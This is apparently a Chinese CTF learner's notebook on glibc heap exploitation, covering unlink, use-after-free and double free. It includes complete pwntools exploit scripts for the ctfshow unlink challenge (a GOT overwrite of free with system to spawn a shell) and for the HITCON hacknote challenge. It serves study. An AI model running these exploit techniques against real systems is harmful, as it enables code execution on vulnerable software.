模板:
主题
知识点
解题思路
复现
fastbin_dup_into_stack部分
此语句能够得到 stack_var 的地址 令我不解
同理此语句可完成如此功能 令我不解
unlink
相应的题目是 ctfshow中1024杯的unlink
解题参考
知识点讲解1
知识点讲解2
知识点unlink
这是上图中最下方 bss段看 的真实结构(上边是抽象,不要和 正常申请的chunk处搞混了)
解题思路
伪造四个chunk 编号0,1,2,3
任务区分
0 泄露函数地址;改写free的got地址为system()的地址
1 伪造fake_chunk,辅助触发unlink;
2 进行free来unlink的chunk
3 填入“/bin/sh”然后free(实际上是system())拿到脚本的chunk
具体实施
-
先申请4个chunk
这是在bss段全局变量的样子 -
对1号chunk进行伪造
-
free 2号
(此时最关键的步骤unlink已经完成)
-
修改 1号 (实际上修改的是bss段全局变量部分的位置)结果是,本该是0号chunk地址的位置被改为了free的got地址(相当于free的got表处可以被当作chunk利用)
- show(0),成功泄露函数地址(其利用涉及栈的利用不在此赘述)
- 修改 0号 结果将free的got地址修改成了system()的地址
- 给3号填入“/bin/sh”,然后free(实际上是system())拿到脚本的chunk
注意
bss段储存的chunk地址是会变化的,所以在看图的时候不要纠结于此
复现
exp
from pwn import *
sh=process('./unlink.ctfshow')
#sh=remote('111.231.70.44',28099)
elf=ELF('./unlink.ctfshow')
#context.log_level='debug'
libc=ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
def add(index,size):
sh.recvuntil(': ')
sh.sendline('1')
sh.recvuntil('idx: ')
sh.sendline(str(index))
sh.recvuntil(': ')
sh.sendline(str(size))
def free(index):
sh.recvuntil(': ')
sh.sendline('2')
sh.recvuntil('idx: ')
sh.sendline(str(index))
def show(index):
sh.recvuntil(': ')
sh.sendline('3')
sh.recvuntil('idx: ')
sh.sendline(str(index))
def edit(index,content):
sh.recvuntil(': ')
sh.sendline('4')
sh.recvuntil('idx: ')
sh.sendline(str(index))
sh.recvuntil(': ')
sh.send(content)
chunk_ptr=0x6020f0
fd=chunk_ptr-0x18
bk=chunk_ptr-0x10
free_got=elf.got['free']
system_got = libc.sym['system']
add(0,0x60)
add(1,0x88)
add(2,0x80)
add(3,'/bin/sh\x00')
edit(1,p64(0)+p64(0x81)+p64(fd)+p64(bk)+'a'*0x60+p64(0x80)+'\x90')
#gdb.attach(sh)
free(2)
edit(1,"a"*0x8+p64(free_got))
show(0)
fre = u64(sh.recv(6).ljust(8,'\x00'))
libc_base = fre-0x0844f0 #local 0x084540;remote 0x0844f0
print(hex(fre))
print(hex(system_got))
system = 0x045390 + libc_base #local 0x453a0;remote 0x045390
sh.success('system: '+hex(system))
edit(0,p64(system))
edit(3,'/bin/sh\x00')
gdb.attach(sh)
free(3)
#sh.recv()
sh.interactive()
遇到问题
-
申请4个chunk时大小问题
几乎相同的脚本却申请出不同大小的chunk
左边正常
右边异常
-
system()函数如何将‘/bin/sh’作为参数的
-
本地,却用的是remote的偏移,但是在gdb.attach()的情况下就可以得到shell
-
与函数地址泄露相关的部分 free 与 system的地址(已解决)
这个在栈的学习里遇到过,为了回顾再过一次
首先是泄露出了 free 的地址
将其后三位放到libc database search进行查询,得到相应的libc版本,同时获得了free和system 的偏移,加以利用,便可以知道两个函数的真实地址。
需要注意的是
free() 是在题目下发的文件中的got表里的
system()是运行此elf文件时相应的动态链接库中的函数表里的
-
0x6020f0 应该是全局变量所造成的,但具体不知道怎么找到
有一个方法是,我大概知道他在bss段,所以可以查看bss段,最后就能够找到全局变量的位置 -
fd=chunk_ptr-0x18 24=3*8
这里8是如何确定的 -
申请的堆的大小和真实的堆的大小不一样
-
申请堆的大小要在一定情况下才能够对堆的prev_inuse位进行覆盖
异常情况(堆有些小时)
正常情况
-
查看固定内存存放内容时,由于大小端的问题,可能结果与预想有所不同
-
在运行add()函数时,添加序号的不同也会导致一些问题出现
use after free
例题是ctfwiki里的 HITCON training lab10 hacknote
参考
知识点
free()后,指针不会置NULL
在free后,其堆里边的内容会置空,但它在指针列表(也可以说是全局变量处的之前定义的列表,这个名词是我自己编的)中的内容不会被清空,如下:
分别在,刚申请两个后,刚释放两个后,再申请一个后 进入gdb调试
可以看到指针列表没有被NULL
fastbin是后进先出
先形象的看一下pwndbg里的fastbin
由 free()后,指针不会置NULL的图可以看出,在释放堆时,释放顺序 0 1
在申请大小为8的堆时,后进的堆块 1,被放入了printf 等,而先进的堆块 0,被放入了magic地址。
参照一开始申请的那两个 先申请的会放入printf,然后申请的放入输入的内容
可以知道在申请大小为 8 的是堆时,申请顺序为 0 1
这符合了fastbin是后进先出
解题思路
解题时要具体题目,具体分析
-
申请两个大小为20的堆
申请一个时,在本题中其实会申请两个,一个0x10size,另一个按照申请的大小。0x10size中会放入printf()函数地址和另一个按照申请的大小的chunk的地址,如图。
另一个按照申请的大小的chunk 则放入输入的内容
-
再释放掉
-
再申请一个大小为10的堆,并输入内容magic()函数地址
实际上申请的是那两个位于fasbin表中的大小为0x10size 的chunk -
查看第一个堆(实际上是调用magic())
复现
exp
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
r = process('./hacknote')
def addnote(size, content):
r.recvuntil(":")
r.sendline("1")
r.recvuntil(":")
r.sendline(str(size))
r.recvuntil(":")
r.sendline(content)
def delnote(idx):
r.recvuntil(":")
r.sendline("2")
r.recvuntil(":")
r.sendline(str(idx))
def printnote(idx):
r.recvuntil(":")
r.sendline("3")
r.recvuntil(":")
r.sendline(str(idx))
magic = 0x08048986
addnote(20, "aaaa")
addnote(20, "ddaa")
#addnote(20, "cccc")
gdb.attach(r)
delnote(0)
delnote(1)
#delnote(2)
gdb.attach(r)
addnote(8, p32(magic))
#addnote(20, p32(magic))
#addnote(20, p32(magic))
gdb.attach(r)
printnote(0)
r.interactive()
double free
知识点
One gadget 限制条件
__malloc_hook初体验
Unsorted_bin利用
Heap-泄露Main_arena与Heap地址
fastbin double free
解题思路
复现
其他问题
在做mulnote时的问题
-
one_gadget 没办法在libc中找到有效信息,所以查找不到对应的one_gadget 之后,没办法正确得到shell
感觉是ruby版本太久的问题,于是更新ruby版本
果然
在解决这个问题时,遇到了 One gadget 限制条件剖析 的文章,便看了看,不过本题未涉及 -
gdb 在释放掉unsturbin之后没有办法打开,我就没法看到heap,bins等 没法调试
同理,感觉是版本的问题于是重新升级
参考
参考
gdb源
其中遇到一个问题,就是说在安装包时,ubuntu 应该使用apt-get
所以我准备换一道题来学习 double free